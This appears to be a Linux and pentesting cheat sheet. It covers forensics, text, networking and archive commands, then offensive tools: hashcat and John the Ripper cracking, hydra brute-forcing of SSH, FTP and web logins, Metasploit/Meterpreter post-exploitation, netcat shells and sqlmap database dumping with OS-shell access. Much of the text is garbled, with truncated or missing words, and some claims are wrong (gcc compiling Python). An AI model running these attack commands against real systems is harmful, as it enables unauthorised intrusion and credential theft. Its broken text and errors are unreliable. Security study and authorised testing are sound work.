<summary>Hide File Inspection & Forensics Commands</summary>
file
The
file command is used to determine the type of a file by examining its contents rather than relying on file extensions.strings
strings is a command-line utility that extracts printable strings from binary files. It is commonly used to find human-readable text in executables, libraries, and other binary files.
exiftool
Is a command-line application for reading, writing and editing meta information in a wide of files.
Install with: sudo apt install libimage-exiftool-perl
Key options: -all= = remove all metadata from the file -s = short output format -h = HTML output format -json = JSON output format -r = recursi of directories -o = o the original file with the modified file
hexdump
hexdump is used to filter and display the specified files, or standard input in a human readable specified format.
Key options -C = Canonical hex + ASCII display. -c = One-byte character display. -d = Decimal display. -e <FORMAT> = Specify the output format. -n <N> = Stop after reading N bytes. -s <OFFSET> = Start reading at OFFSET bytes. -v = Display all data, even if it is repeated.
xxd
xxd is a hex editor that can be used to convert binary files to hex and vice versa.
Key options -b = binary digit dump -p = plain hex dump (continuous string) -e = little-endian dump -l <LEN> = stop after <len> octets. -r = hex dump to binary (plain text) -d = show offset in decimal instead of hex. -u = use upper case hex letters. -i = output in C include file style. -s = start at offset.
objdump
objdump is a command-line utility that displays information about one or more object files. It can be used to disassemble object files, executable files, shared libraries, and core dumps.
Key options: -d = disassemble the file -s = display the full contents of the file -t = display the symbol table -x = display all headers and sections -f = display the file header information -h = display the section headers
hexeditor
Read and modify binary files in hexadecimal format.
Key options -a Print all text characters. -n Force Gray scale, no colors.
-- Shortcuts --
CTRL + F = Go to last line
CTRL + C = Exit without saving
CTRL + X = Exit and save
CTRL + U = Undo
CTRL + W = Search
binwalk
Binwalk allows users to analyze and extract firmware images and helps in identifying code, files, and other information embedded in those, or inside another file.
Key options: -e = Extract files -M = Recursively scan extracted files (matryoshka) -v = output -q = Quiet output (suppress non-error messages)
</Details>
<!-- Searching & Text Processing -->
<h1 align="center">Searching & Text Processing</h1>
In this section: find, where, locate, whatis, apropos, grep, uniq, sort, diff, tail/head, wc, cut, tr, column, jq, sed, awk
<Details open>
<summary>Hide Searching & Text Processing Commands</summary>
find
Used to search and locate files and directories based on criterias.
Syntax: find <location> <options>
Key options -name = specify file specific name/descriptions to be found -iname = Like -name, but the match is case insensitive. -print = It prints the pathname of the current file to standard output. -regex = True if the whole path of the file matches pattern using expression -type = With -type, you can use d to only find directories, and f to only find files. -user = specify owner -size = specify size -perm = specify permissions -exec = Execute a command on the found files. The command must end with \; -newer = Find files that are newer than a specified file. -newermt = Find files modified after a specific date.
Location specific options
No specification = current folder / = root folder . = this folder and its subdirectories
Time specific options -amin <n> = Access time in minutes. -mmin <n> = Modification time in minutes. -ctime <n> = Change time in minutes. -atime <n> = Access time in days. -mtime <n> = Modification time in days. -ctime <n> = Change time in days.
To put it all together: in order to specify that a file was last accessed more than 30 minutes ago, the option -amin +30 is used.
To specify that it was modified less than 7 days ago, the option -mtime -7 is used.
When you want to specify that a file was modified within the last 24 hours, the option -mtime 0 is used.
Note
1. Suppress the output of any possible errors to make the output more readable. This is done by appending 2> /dev/null to your command. This way, you won't see any results you're not allowed to access.
2. The second thing is the -exec flag. You can use it in your find command to execute a new command, following the -exec flag, like so: -exec whoami \;. (can be used for pri escalation)'
where
Returns the path to the file or link that should be executed.
> Good for finding the location of a command or executable file in the system.
locate
This tool is used to find files by their name.
whatis
Returns a a short description of a command.
apropos
Used to search for a command by its description.
grep
Searching plain-text data for lines that match an expression. It is commonly used to search through files or output from other commands.
Key options -i = ignore case (case insensiti) -o = show only the matching part of the line -l = show only the names of files with matching lines -c = count the number of matching lines -n = line numbers for every string found -w = match whole words only -x = match whole lines only -E = regular expressions -R = recursive grep
uniq
Remo lines from a sorted file.
Key options -c = count the number of occurrences of each line -d = only print duplicate lines -u = only print unique lines -i = to ignore case
sort
Sorts lines of text files.
Options: -b = ignore leading blanks -c = check if the file is sorted -r = to sort in reverse order -o = to write output to a file -u = sort and remo lines -n = to sort numerically -g = to sort general-numeric -h = to sort human readable numbers -f = ignore case
diff
Compares files line by line and shows differences.
Key options: -u = unified diff format (shows context) -c = context diff format (shows more context) -i = ignore case differences -w = ignore all white space -b = ignore changes in the amount of white space -B = ignore changes whose lines are all blank
tail/head
tail and head commands are used to display the beginning or end of a file.Key options: -n <number> = number of lines to show -c <numbers> = number of bytes
wc
Count lines, words, and characters in files.
Key options -l = count number of lines -w = count number of words -c = count number of bytes -m = count number of characters
cut
Extract sections from each line of input files or standard input.
Key options -f = Select by specifying a field, a set of fields, or a range of fields. -c = Select by specifying a character, a set of characters, or a range of characters. -d = Specify a delimiter that will be used instead of the default “TAB” delimiter.
tr
Tool used to replace, delete, or squeeze repeated characters.
Key options -d = delete characters -s = squeeze repeated characters
column
The
column command formats text input into a table-like structure, aligning columns based on whitespace or a specified delimiter.jq
jq is a lightweight and flexible command-line JSON processor. It is used to parse, filter, and transform JSON data.
To install use sudo apt install jq
Key options: -c = compact output (minified JSON) -r = raw output (without quotes) -s = read input as an array of JSON objects -f <file> = read filter from a file
sed
Sed is a stream editor that can perform basic text transformations on an input stream (a file or input from a pipeline). It is commonly used for text substitution, deletion, and insertion.
The "s" flag at the beginning stands for the substitute command. Then we specify the pattern we want to replace. After the slash (/), we enter the pattern we want to use as a replacement in the third position. Finally, we use the "g" flag, which stands for replacing all matches.
awk
Manipulate and analyze text files. It is particularly useful for processing structured data, such as CS or log files.
Key options: -F = specify the field separator (default is whitespace) -v = assign a value before processing the input -o = output file (not commonly used)
Commonly used : $0 = Represents the entire line of text. $1, $2, ... = Represents the first, second, etc., fields in the line. $NF = Represents the last field in the line. $NR = Represents the current record number (line number). $FS = Field separator (default is whitespace). $RS = Record separator (default is newline). $OFS = Output field separator (default is space). $ORS = Output record separator (default is newline). /<pattern>/ = Represents a pattern to match in the input.
<details>
<summary>Ad examples</summary> <br>
</details>
</Details>
<!-- Networking Tools -->
<h1 align="center">Networking Tools</h1>
In this section: ip, ping, traceroute, telnet, curl, wget, ftp, ssh, scp, xfreerdp, netdiscover, netstat, ss, tcpdump, dig, wash, whatweb
<Details open>
<summary>Hide Networking Tools Commands</summary>
ip
The
ip command is used to show and manipulate routing, devices, policy routing, and tunnels. It is a powerful tool for managing network interfaces and configurations.<details>
<summary>Want to see more ad usage of the <code>ip</code> command?</summary>
</details>
Ping
The
ping command is used to check the reachability of a host on a network and measure the round-trip time for messages sent from the originating host to a destination computer.Key options: -c <count> = Number of packets to send -i <interval> = Inter packets (in seconds) -s <size> = Number of data bytes to be sent -W <timeout> = Time to wait for a response (in seconds) -t <ttl> = Set Time To Li of hops) -I <interface> = Specify the source interface to use
traceroute
The
traceroute command is used to trace the route that packets take from the source host to a destination host. It shows the IP addresses of the routers along the path and the time taken for each hop.> On Windows, use tracert instead of traceroute.
Key options: -n = Do not resol (show only IPs) -m <max_ttl> = Set the max number of hops (max TTL) -w <timeout> = Set the timeout (in seconds) for each reply -q <nprobes> = Number of probe packets per hop -I = Use ICMP ECHO instead of UDP packets (like Windows tracert) -T = Use TCP SYN packets instead of UDP
telnet
The
telnet command is used to connect to remote servers using the Telnet protocol. It allows you to interact with remote systems over a network.Key commands inside a Telnet session:
Ctrl + ] = Escape to telnet promptquit = Exit telnetopen <host> <port> = Connect to another host/portclose = Close current connectionstatus = Print status informationcurl
Tool for transferring data with URLs. It supports protocols, including HTTP, HTTPS, FTP, and more. It is commonly used to download files, interact with APIs, and perform web requests.
Key options: -s to suppress the output (statistics) -# show progress bar -o page.html <URL> to save the output to a file -O <URL> to save the output to a file with the same name as the file in the URL (download) -I <URL> to get the headers only -L <URL> to follow redirects -b <NAME1=;NAME2=> specify cookies -d <data> <URL> to send data -X <METHOD> <URL> to change the request method -T <FILE> <URL> to upload a file -u <USER>:<PASSWORD> to authenticate -A <AGENT> <URL> to change the user agent --referer <URL_REF> <URL> to change the referer -H <HEADER> <URL> to add headers -H "DNT: 1" <URL> to change the DNT(do not track) header -H "X-Forwarded-For: <IP>" <URL> to change the X-Forwarded-For header -H "Accept-Language: da-DK" <URL> to change the Accept-Language header (ex. Danish) -H "Date: Mon, 23 11 2018 23:23:23 GMT" <URL> to change the date
Demo of ad use case
wget
The wget command downloads files from HTTP, HTTPS, or FTP connection a network.
Key options: -O = to specify the output file -b = to run in the background -r = to download recursively -q = to download in quiet mode
ftp
FTP or File Transfer Protocol is a network communication protocol that enables two computers to communicate
Enter your username and password to log in to the server. Some FTP servers allow anonymous logins with a username and password of "anonymous".
Key Commands: ls = list files in the current directory cd <directory> = change directory get <file> = download a file from the server put <file> = upload a file to the server more <file> = view the contents of a file quit = exit the FTP session
See more commands here.
ssh
SSH or Secure Shell is a network communication protocol that enables two computers to communicate
And then type the password to log in. If you have a private key, you can use it to log in without a password.
Creating an SSH tunnel
Key options: -i <path_to_pem> = specify the path to the private key file -p <port> = specify the port to connect to (default is 22) -v = mode (useful for debugging) -X = enable X11 forwarding (allows running GUI applications over SSH) -C = enable compression (useful for slow connections) -N = do not execute a remote command (useful for port forwarding) -L <local_port>:<remote_host>:<remote_port> = local port forwarding -R <remote_port>:<local_host>:<local_port> = remote port forwarding
scp
SCP or Secure Copy Protocol is a network communication protocol that enables two computers to communicate and transfer files between them using the SSH protocol.
Key options: -r = copy directories recursively -P <port> = specify the port to connect to (uppercase P) -i <path_to_pem> = specify the path to the private key file -v = mode (useful for debugging) -p = preserve file attributes (permissions, timestamps, etc.)
xfreerdp
xfreerdp is an X11 Remote Desktop Protocol (RDP) client.
Key options: /u:<username> - Username /p:<password> - Password /v:<hostname>:<port> - Ser /cert:ignore - Ignore certificate /ipv6, /6 - Prefer IPv6 AAA record over IPv4 A record
netdiscover
Netdiscover is a tool that can be used to scan for li on a network (part of the
aircrack-ng suite).> It is particularly useful for identifying acti on a network, especially in en where DHCP is not a or when you want to quickly disco without using more complex tools.
netstat
Displays network connections and listening ports. It can show both TCP and UDP connections, as well as the processes using those connections.
Key options: -t = show TCP connections -u = show UDP connections -l = show only listening sockets -p = show the process using the socket -n = show numerical addresses instead of resolving hostnames (stops DNS lookups) -a = show all connections and listening ports -r = display the routing table
> 'ss' is now a better alternative to netstat, see below.
ss
Displays socket statistics and information about network connections. It is a replacement for the
netstat command and provides more detailed information about sockets.tcpdump
Packet analyzer tool used to capture and analyze network traffic.
> It allows users to intercept and display the packets being transmitted or received over a network.
Key options: -i = to specify the interface to capture traffic on -n = to display IP addresses instead of hostnames (stops DNS lookups) -w = to write the captured packets to a file -r <file>.pcap = to read packets from a file -q = to get brief packet information -e = to include MAC addresses -A = to print packet data as ASCII -c <number> = to specify the number of packets to capture -v = to increase (use -vv for more)
dig
Retrie about domain names, IP addresses, and other DNS records.
* <domain> = The domain name to query (e.g., example.com)
* <type> = The type of DNS record to query (e.g., A, MX, CNAME, NS, etc.)
Key options: +short = Short output format +trace = Trace the delegation path from the root servers +noall +answer = Show only the answer section of the response -x = Specify IP adress -f = save to a file
wash
Wash is a tool that scans for WPS-enabled networks and displays information about them (part of the
aircrack-ng suite).whatweb
WhatWeb is a web scanner that identifies websites and their technologies. It can detect web servers, programming languages, frameworks, and more.
Key options: -a=LEVEL = Aggresion level -U=AGENT = User agent --header = HTTP header --max-redirects=NUM = Maximum number of redirects -u=<user:password> = Basic authentication -c=COOKIES = Use cookies --cookie-jar=FILE = Read cookies from a file -g=STRING|REGEXP = Search for a string --no-errors = Suppress error messages -p=LIST = List all plugins -l = List all plugins -v = mode -q = Quiet output -h = to show help (highly recommended)
</Details>
<!-- Compression & Archiving -->
<h1 align="center">Compression & Archiving</h1>
In this section: Tar, Gzip, 7z
<Details open>
<summary>Hide Compression & Archiving Commands</summary>
tar
tar is a command that allows creating, maintaining, modifying, and extracting files that are archived in the tar format (tar, gzip, zip).Key options: -c tells tar to create an archive. -z tells tar to compress the archive with gzip. -v tells tar to be . -f tells tar that the next argument will be the name of the archive to operate on. -C tells tar to change to the directory specified before performing any operations. -x tells tar to extract files from an archive.
gzip
gzip is a file format and a software application used for file compression and decompression. gzip-compressed files have a .gz extension.Key options: -d = decompress a file -k = keep the original file after compression -r = recursively compress files in directories -v = output, showing compression details -1 to -9 = set compression level (1 is fastest, 9 is best compression)
7z
7z is a file archiver with a high compression ratio.
Key options: a = add files to an archive (-tzip for zip archives) x = extract files from an archive l = list contents of an archive -p<SECRET> = create or extract a password-protected archive -m0=LZMA2 = use LZMA2 compression method (default) -mem=AES256 = use AES-256 encryption for the archive -mx=9 = set compression level (0-9, where 9 is the highest compression) -t7z = specify the archive type as 7z -o<output_directory> = specify the output directory for extraction
Demo use case:
Ad Example
> Without -mem=AES256, the contents will be compressed but the file names will still be (no filename encryption).
This command creates a password-protected zip archi secret.zip containing the secret directory, using AES-256 encryption.
For simple zip -e -r secret.zip secret can also be used (legacy).
</Details>
<!-- Cryptography & Encoding -->
<h1 align="center">Cryptography & Encoding</h1>
In this section: base64 (Encoding), rax2 (Base Con), hashid (Hash Identification), hash-identifier (Hash Identification), haiti (Hash Analysis), shasums (SHA Checksums), gpg (Encryption/Decryption)
<Details open>
<summary>Hide Cryptography & Encoding Commands</summary>
base64
Decrypt base64
The -d option is used to decode the base64 encoded data.
Encrypt base64
The -i option is used to specify the input file, and the -o option is used to specify the output file. If no output file is specified, it will print the encoded data to standard output.
rax2
rax2 (part of the Radare2 suite) comes in handy when there is a need to make base con between hexadecimal representations, floating point , hex-pair strings to ASCII, binary, octal, integer and so on.
A list of most useful flags:
hashid
Hashid will analyze and output the potential algorithm that is used to hash your input. Supports over 250 hash types.
Key options: -e = list all possible hash algorithms including salted passwords -m = include corresponding hashcat mode in output -j = include corresponding JohnTheRipper format in output -o FILE = write output to file (default: STDOUT) -h = show help message and exit
hash-identifier
Hash-identifier will analyze and output the potential algorithm that is used to hash your input. I would say that it is a better alternative to hashid. Supports over 100 hash types.
haiti
Haiti is another great tool to identify a hash type. It also returns the format that can be used with john the ripper and hashcat to crack the hash. It supports over 500 hash types.
Installation: gem install haiti-hash
shasums
Find SHA1 hash for a file
Find SHA256 hash for a file
Find MD5 hash for a file
gpg
To encrypt a file:
> Enter a passphrase when prompted. This will create an encrypted file named data.txt.gpg.
To decrypt the file:
> Enter the same passphrase you used to encrypt the file. This will output the decrypted content to standard output.
</Details>
<!-- Exploitation & Pentesting Tools -->
<h1 align="center">Exploitation & Pentesting Tools</h1>
In this section: searchsploit, cewl, crunch, fcrackzip
<Details open>
<summary>Hide Exploitation & Pentesting Tools Commands</summary>
searchsploit
Searchsploit is a command line search tool for the offline of Exploit-DB.
Key options: -c [Term] = Perform a case-sensiti -e [Term] = Perform an EXACT search -s = Perform a strict search ("1.1" would not be detected in "1.0 < 1.3") -t [Term] = Search JUST the exploit title (Default is title AND the file's path -p [EDB-ID] = Show the full path to an exploit -w = Show URLs to Exploit-DB.com rather than the local path --exclude="term1|term2" = Exclude results matching terms (use "|" to separate multiple)
cewl
Cewl is a tool that spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper. See more here.
Install: sudo apt-get install cewl
Key options:
-w for saving the generated wordlist to a file.-d for setting the depth of the spider.-m for setting the minimum word length.-x for setting the maximum number of words to return.crunch
Crunch is a wordlist generator that can generate all possible combinations and permutations.
Install: sudo apt-get install crunch
Key options: -t for adding a pattern to the generated wordlist. -o for saving the generated wordlist to a file.
fcrackzip
Is a password cracker that runs on
.zip files. It can use brute force or dictionary attacks to crack the password of a zip file.Install: sudo apt-get install fcrackzip
Key options -b for using brute force algorithms. -D for using a dictionary. -v for mode. -p for using a string as a password. -u for unzipping.
</Details>
<!-- Compilers -->
<h1 align="center">Compilers</h1>
In this section: gcc
<Details open>
<summary>Hide Compilers Commands</summary>
gcc
gcc is a compiler that can be used to compile C as well as Python code to an executable file.
Key options: -o <output> = specify the output file name
</Details>
Tools (CLI)
Command-line tools for security testing and analysis. Start with Nmap for network discovery, then web tools like Gobuster.
Legal Notice: Only use on systems you own or ha to test.
Aircrack-ng
Aircrack-ng - is a complete suite of tools to assess WiFi network security
Key tools in suite:
See detailed cheatsheet here
Gobuster
Gobuster is a tool used to brute-force URIs (directories and files), DNS subdomains and host names
Syntax
gobuster -w wordlist.txtExamples:
Standard scan
gobuster dir -u -w /usr/share/wordlists/dirb/megalist.txt DNS subdomain enumeration gobuster dns -d -w /usr/share/SecLists/Discovery/DNS/namelist.txt
A list of options
dir Directory/file brute forcing mode dns DNS bruteforcing modeA list of most useful flags:
-u (url) – full target URL (including scheme), or base domain name. -w (wordlist) – path to the wordlist used for brute forcing (use – for stdin). -a (user agent string) – specify a user agent string to send in the request header. -e (print) - Print the full URLs in your console -o (file) – specify a file name to write the output to. -x (extensions) – list of extensions to check for, if any. -P (password) – HTTP Authorization password (Basic Auth only, prompted if missing). -U (username) – HTTP Authorization username (Basic Auth only). -c <http cookies> (cookie) - Specify a cookie for simulating your auth -s (status-codes) - Set status codes that should be interpreted as valid -k (ssl) - Skip ssl certificate -H (HTTP) - Specify HTTP header -t (threads) - Number of concurrent threads (default: 10) -v () - output -q (quiet) - Quiet output -n (no-redirect) - Do not follow redirects -r (recursive) - Recursively brute force subdirectories Find a list of seclists here.
Feroxbuster
feroxbuster uses brute force combined with a wordlist to search for unlinked content in target directories.
Syntax: feroxbuster [OPTIONS]
Example: feroxbuster -u -w /usr/share/wordlists/dirb/big.txt
Options: -h, --help - Print help information - - Print information -u, --url <URL> - The target URL -b, --cookies <COOKIE> - Specify HTTP cookies to be used in each request -m, --methods <HTTP_METHODS> - Which HTTP request method(s) should be sent (default: GET) -x, --extensions <FILE_EXTENSION> - File extension(s) to search for (ex: -x php -x pdf js) -C, --filter-status <STATUS_CODE> - Filter out status codes (deny list) (ex: -C 200 -C 401) -s, --status-codes <STATUS_CODE> - Filter status codes (allow list) (default: 200 204 301 302 307 308 401 403 405) -r, --redirects - Allow client to follow redirects -T, --timeout <SECONDS> - Number of seconds before a client's request times out (default: 7) -d, --depth <RECURSION_DEPTH> - Maximum recursion depth, a depth of 0 is infinite recursion (default: 4) -e, --extract-links - Extract links from response body and make new requests based on findings -L, --scan-limit <SCAN_LIMIT> - Limit total number of concurrent scans (default: 0, i.e. no limit) -n, --no-recursion - Do not scan recursively -t, --threads <THREADS> - Number of concurrent threads (default: 50) --time-limit <TIME_SPEC> - Limit total run time of all scans (ex: --time-limit 10m) -w, --wordlist <FILE> - Path to the wordlist -o, --output <FILE> - Output file to write results - - Increase level (use -vv or more for greater effect. '4' -v's is probably too much)
Hashcat
Hashcat is a particularly fast, efficient, and hacking tool that assists brute-force attacks by conducting them with hash of passwords that the tool is guessing or applying. See Cheatsheet.
Learn How to brute-force passwords using GPU and CPU in Linux.
Convert WPA/WPA2 handshake from a pcap file to a modern hashcat compatible hash file.
Syntax
hashcat -m <number> <hash_file> <dict_file>Example
Dictionary
hashcat -m 1800 -a 0 hashed.txt /usr/share/wordlists/rockyou.txt -o output.txt Bruteforce hashcat -m 0 -a 3 -i hashed.txt ?a?a?a?a?a?a?a -o output.txt
Flags
-m sets the mode -a sets the attack mode (0=Straight,1=Combination,3=Bruteforce,6=Hybrid:wlist+mask,7=Hybrid:mask+wlist) -o output to filename -r sets rules --status keep screen updated --runtime abort after X seconds --force sets workload to insane (This can lead to false positives) -i increment (bruteforce)Attack modes
0=Straight
1=Combination
3=Bruteforce
6=Hybrid:wlist+mask
7=Hybrid:mask+wlist
Charsets
?l Lowercase a-z ?u Uppercase A-Z ?d Decimals ?h Hex using lowercase chars ?H Hex using uppercase chars ?s Special chars ?a All (l,u,d,s) ?b Binary Hydra
Hydra is a tool used to brute-force username and password to different services such as ftp, ssh, telnet, MS-SQL, etc.
Syntax
hydra -options path Examples:
Guess SSH credentials using a gi and a list of passwords:
hydra -l username -P path/to/wordlist.txt host_ip -t 4 ssh -VGuess Telnet credentials using a list of usernames and a single password, specifying a non-standard port and IPv6: hydra -L path/to/usernames.txt -p password -s port -6 host_ip telnet
Guess FTP credentials using usernames and passwords lists, specifying the number of threads: hydra -L path/to/usernames.txt -P path/to/wordlist.txt -t n_threads host_ip ftp
Guess MySQL credentials using a username and a passwords list, exiting when a username/password pair is found: hydra -l username -P path/to/wordlist.txt -f host_ip mysql
Web form credentials: hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip_adress> http-post-form "/login:username=^USER^&password=^PASS^:F=Username or password invalid" -V
Guess IMAP credentials on a range of hosts using a list of colon-separated username/password pairs: hydra -C path/to/username_password_pairs.txt imap://[host_range_cidr]
Guess POP3 credentials on a list of hosts using usernames and passwords lists, exiting when a username/password pair is found: hydra -L path/to/usernames.txt -P path/to/wordlist.txt -M path/to/hosts.txt -F pop3
A list of most useful options:
-S connect via SSL -f specify host -s specify a port -l single username -L wordlist username(s) -p single password -P wordlist password(s) -o FILE write found login/password pairs to FILE instead of stdout -V mode, see output for every attempt -I ignore the resume dialog -t <number> specifies the number of threads to use -u by default Hydra checks all passwords for one login and then tries the next login. This option loops around the passwords, so the first password is tried on all logins, then the next password. John The Ripper
John The Ripper is a fast password cracker, currently a for many flavors of Unix, Windows, and other. Cheatsheet
Syntax
john <hash_file> --wordlist=<wordlist>Examples
Cracking MD5 hashes
john --format=raw_md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtSSH Private Key
Crack hashed private key
python /usr/share/john/ssh2john.py id_rsa > hash.txtssh2john.py can sometimes also be located under /opt/john/ssh2john.py
Crack the hash (or a shadow file) john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
See more about JTR.
Zip Files
Crack a zip file using zip2john
First, convert the zip file to a hash zip2john file.zip > zip.hash
Then crack the hash john zip.hash
Metasploit
The Metasploit Framework is a powerful tool for penetration testing, exploit de, and research, offering modules for information gathering, scanning, exploitation, and post-exploitation.
- Singles: Self-contained payloads (e.g., add user, open app) that run without additional downloads.
- Stagers: Establish connection channels between Metasploit and the target, facilitating the download of staged payloads.
- Stages: Larger payloads downloaded by stagers to expand functionality.
Single payloads use an underscore (e.g., generic/shell_re), while staged payloads use a slash (e.g., windows/x64/shell/re).
How to use
Initialize the database msfdb init
View ad options for starting the console msfconsole -h
Start metasploit msfconsole
Check db connection db_status
Msf commands help or ? - shows the help page
Search exploit search <exploit_for>
Select module use <module>
Change value of a set <> <value> get <> unset <>
Sa session save
Sa outputs spool
See pri of a current user getprivs
Tranfer files to computer upload
Check if the pc is in a ) run post/windows/gather/checkvm
See what a machine could be to run post/multi/recon/local_exploit_suggester
Spawn a normal system shell shell
Meterpreter
Meterpreter is a Metasploit payload that runs in memory on the target system without installation, a detection by antivirus, IDS, and IPS. It communicates with Metasploit channels but can still be detected by some antivirus programs.
Key Features:
word.exe) to interact with it or capture keystrokes. Use migrate <PID>.- > You may lose your user pri if you migrate from a higher pri (e.g. SYSTEM) user to a process started by a lower pri user (e.g. webserver).
search -f <filename> to locate files with sensitive data.CTRL+Z to return to Meterpreter.These features make Meterpreter a powerful tool for post-exploitation acti.
See some of the a commands here.
Netcat
Netcat aka nc is an extremely tool. It allows users to connect to specific ports and send and receive data. It also allows machines to receive data and connections on specific ports, which makes nc a very popular tool to gain a Reverse Shell.
Syntax
Computer B (acts as the receiving server):
nc -lvnp 6790 > testfile.txt Computer A (acts as the sending client):
nc [IP address of computer B] 6790 < testfile.txt <details>
<summary>Chat Ser</summary>
</details>
A list of most useful switches:
-l Listen to connections (TCP) -v Enable mode (allows you to see who connected to you) -p Specify a port to listen to -e Specify program to execute after connecting to a host -u Connect to UDP ports -n Fast scan by disabling DNS resolution -w Define timeout value -4 IPv4 only -6 IPv6 only > Server file redirection < Client file redirectionNikto 2
Nikto 2 or nikto is a popular web scanning tool that allows users to find common web . It is commonly used to check for common CVE's such as shellshock, and to get general information about the web server that you're enumerating.
Syntax
nikto -h <ip> -port <port>A list of most useful flags:
-h Hostname/IP adress -port Specify ports -nossl Disable ssl -ssl Force ssl -id Specify authentication(username & password) -plugin Select which plugin to use -update Update the plugin list --list-plugins List all possible plugins to use -output Output fingerprinted information to a fileNmap
Nmap is a utility for network discovery and security auditing.
> Note, there is now a better and much faster alternative to nmap called rustscan. See more about it here.
Syntax
nmap [options] [ip] Example: nmap -sT -T4 -A -p- 172.162.39.86
A list of most useful switches:
TCP scan (Most likely to be filtered)=
-sT TCP Syn Scan (No logging)=
-sS UDP scan (Slow)=
-sU ICMP Scanning (host discovery, no port scans) = -sn
Default ping scanning) = -sP
Detect OS = -O
Detect of services = -sV
Scan with the default nmap scripts = -sC
Disable host discovery and just scan for open ports = -Pn
ARP Scan (only on same subnet as target) = -PR
Change = -v
Change level two = -vv (It's good practice to *always* increase the in your scans.)
Save nmap results in three major formats = -oA [filename] [target]
Save nmap results in a text file = -oN [filename] [target]
Save nmap results in grepable format = -oG [filename] [target]
Aggresive mode (Enable OS detection, detection, script scanning, and traceroute) = -A
Timing leves (Speed of scans, can make errors) = -T<Level> (0-5)
Port scan (specific)= -p <port>
Port scan (range) = -p <from>-<to>
Port scan (all) = -p-
Activate a script= —-script=<script_name>
Decoy an ip adress, learn more = -D
Fast mode = -F
Only open ports = --open
List of hosts to scan = -iL
No DNS lookup = -n
Reverse DNS lookup = -R
Scan an IPv6 address = -6
Subnet mask with 255.255.255.0 = <ip>/24
RustScan
RustScan is a fast and extensible port scanner written in Rust. See more.
Syntax
rustscan -a 127.0.0.1 -p 53,80,121,65535Options -a A list of comma separated CIDRs, IPs, or hosts to be scanned -b <size> Batch size for parallel scanning (default 4500) -p <port1>,<port2> A list of commaseperated ports. -r <range> Specify range of ports (ex. 1-1000) --scripts <script> Run scripts -t <timeout> Timeout in milliseconds to consider port closed (default 1500) --tries <tries> Number of tries to consider port closed (default 1) -q Quiet mode.
> Note: RustScan, at the moment, runs Nmap by default. So you can also specify commsnds like -sC and -A.
SQLMap
SQLMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Syntax
sqlmap <option> <url>Options
-u - URL to test for SQL injection -g - Google Dork to test for SQL injection -p - Parameter to test for SQL injection -D - Dump a specific database to enumerate -T - Dump a specific table to enumerate -C - Dump specific columns to enumerate --level - Level of tests to perform (1-5) --dbms - Force SQLMap to use a specific DBMS --dump - Dump the contents of the database --dump-all - Dump all databases --os-shell - Get an OS shell --batch - Automatic run, won't ask for user input --tables - Dump all tables --columns - Dump all columns --threads - Number of threads to use --level - Level of tests to perform (1-5 def: 1) --risk - Risk of tests to perform (1-3 def: 1) --dbs - List databases --technique - Specify a technique to use (B: Boolean-based blind, E: Error-based, U: Union-based, S: Stacked queries, T: Time-based blind)
SQLMap to try and bypass the WAF by using --tamper=space2comment
Example use case
Test for SQL injection.
Dumping some data inside columns from a table in a database.
List tables in a database.
List columns in a table in a database.
Dump data from columns in a table in a database.
Tools (GUI)
Graphical tools provide intuiti for complex security tasks. While CLI tools offer speed and automation, GUI tools excel at , analysis, and collaborative work.
When to Use GUI Tools:
Autopsy
Digital forensics platform that analyzes hard drives, smartphones, and other storage devices.
Key Features:
Common Workflow:
1. Create new case
2. Add data source (disk image, dri files)
3. Configure ingest modules (hash lookup, keyword search, etc.)
4. Analyze results in views
5. Generate reports
Supported Formats:
Burp
Burp Suite, a framework of web application pentesting tools, is widely regarded as the de facto tool to use when performing web app testing
Setting up Burp Suite
Download Burp Suite here.
Burp Suite requires Java JRE in order to run. Download and install Java here.
Gettin' CA Certified
We need to install a CA certificate as BurpSuite acts as a proxy between your browser and sending it through the internet - It allows the BurpSuite Application to read and send on HTTPS data.
1. Download Foxy Proxy in order to fully le the proxy, we'll have to install the CA certificate included with Burp Suite (otherwise we won't be able to load anything with SSL).
2. Now click on the extension -> Options -> Add -> Fill in the fields with the following :
1. Title = Burp
2. Proxy type = HTTP
3. Proxy IP adress or DNS name = 127.0.0.1
4. Port = 8080
5. Username and password is optional.
3. And hit save.
4. Finally, click on the FoxyProxy extension icon again and select 'Burp'.
5. With Firefox, na to the following address:
6. Click on 'CA Certificate' in the top right to download and save the CA Certificate.
7. Now that we' the CA Certificate, move over to the settings menu in Firefox. Search for 'Certificates' in the search bar.
8. Click on 'View Certificates'. Next, in the Authorities tab click on 'Import' and then OK.
O of Features
* Proxy - Burp Proxy allows us to intercept and modify requests/responses when interacting with web applications.
* Target - How we set the scope of our project. We can also use this to effectively create a site map of the application we are testing.
* Intruder - Incredibly powerful tool for e from field fuzzing to credential stuffing and more
* Repeater - Allows us to capture, modify, then resend the same request numerous times. This feature can be absolutely in, especially when we need to craft a payload through trial and error (e.g. in an SQLi -- Structured Query Language Injection) or when testing the functionality of an endpoint for flaws.
* Sequencer - Analyzes the 'randomness' present in parts of the web app which are intended to be unpredictable. This is commonly used for testing session cookies.
* Decoder - As the name suggests, Decoder is a tool that allows us to perform transforms on pieces of data. These transforms vary from decoding/encoding to bases or URL encoding.
* Comparer - Comparer as you might ha is a tool we can use to compare different responses or other pieces of data such as site maps or proxy histories (awesome for access control issue testing). This is very similar to the Linux tool diff.
* Extender - Similar to adding mods to a game like Minecraft, Extender allows us to add components such as tool integrations, additional scan definitions, and more!
* Scanner - Automated web scanner that can highlight areas of the application for further manual in or possible exploitation with another section of Burp. This feature, while not in the community edition of Burp Suite, is still a key facet of performing a web application test.
Benefits
1. Requests will by default require our authorization to be sent.
2. We can modify our requests in-line similar to what you might see in a man-in-the-middle attack and then send them on.
3. We can also drop requests we don't want to be sent. This can be useful to see the request attempt after clicking a button or performing another action on the website.
4. And last but not least, we can send these requests to other tools such as Repeater and Intruder for modification and manipulation to induce
Notes
* URL Encode with Burp Suite:
Ctrl + U to make a payload safe to send.* Intruder attack types:
* Sniper: Sends a single request to each selected item, typically used for targeted attacks. (e.g. a password bruteforce if we know the username)
* Battering ram: Sends multiple identical requests to selected items, ideal for brute force attacks.
* Pitchfork: Sends a combination of two payloads, one to the first item and another to the second item, useful for testing parameter-le. (e.g. we know the username and password for a user)
